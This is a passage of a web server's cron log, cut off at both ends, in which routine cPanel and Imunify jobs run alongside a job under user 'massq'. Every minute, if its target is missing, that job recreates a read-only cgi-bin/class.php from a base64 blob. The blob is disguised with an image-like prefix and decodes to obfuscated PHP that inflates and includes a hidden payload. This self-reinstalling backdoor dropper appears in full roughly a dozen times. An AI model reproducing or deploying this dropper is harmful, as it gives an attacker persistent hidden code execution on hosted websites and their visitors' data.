B6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:01:01 server CROND[14375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:01:01 server run-parts(/etc/cron.hourly)[14373]: starting 0anacron
Sep  1 00:01:01 server anacron[14396]: Anacron started on 2026-09-01
Sep  1 00:01:01 server run-parts(/etc/cron.hourly)[14398]: finished 0anacron
Sep  1 00:01:01 server anacron[14396]: Normal exit (0 jobs run)
Sep  1 00:02:01 server CROND[14898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:02:01 server CROND[14899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:02:01 server CROND[14900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:03:01 server CROND[15389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:03:01 server CROND[15390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:03:01 server CROND[15391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:04:01 server CROND[15784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:04:01 server CROND[15785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:04:01 server CROND[15786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:05:01 server CROND[16184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:05:01 server CROND[16185]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:05:01 server CROND[16189]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:05:01 server CROND[16187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:05:01 server CROND[16192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:05:01 server CROND[16188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:05:01 server CROND[16191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:05:01 server CROND[16190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:06:01 server CROND[17035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:06:01 server CROND[17036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:06:01 server CROND[17037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:07:01 server CROND[17421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:07:01 server CROND[17422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:07:01 server CROND[17423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:08:01 server CROND[17894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:08:01 server CROND[17895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:08:01 server CROND[17896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:09:01 server CROND[18281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:09:01 server CROND[18282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:09:01 server CROND[18283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:09:01 server CROND[18284]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 00:10:01 server CROND[18746]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:10:01 server CROND[18748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:10:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:10:01 server CROND[18757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:10:01 server CROND[18760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:10:01 server CROND[18759]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:10:01 server CROND[18762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:10:01 server CROND[18758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:11:01 server CROND[19590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:11:01 server CROND[19591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:11:01 server CROND[19593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:12:01 server CROND[19979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:12:01 server CROND[19980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:12:01 server CROND[19982]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:12:01 server CROND[19981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:13:01 server CROND[20510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:13:01 server CROND[20511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:13:01 server CROND[20512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSB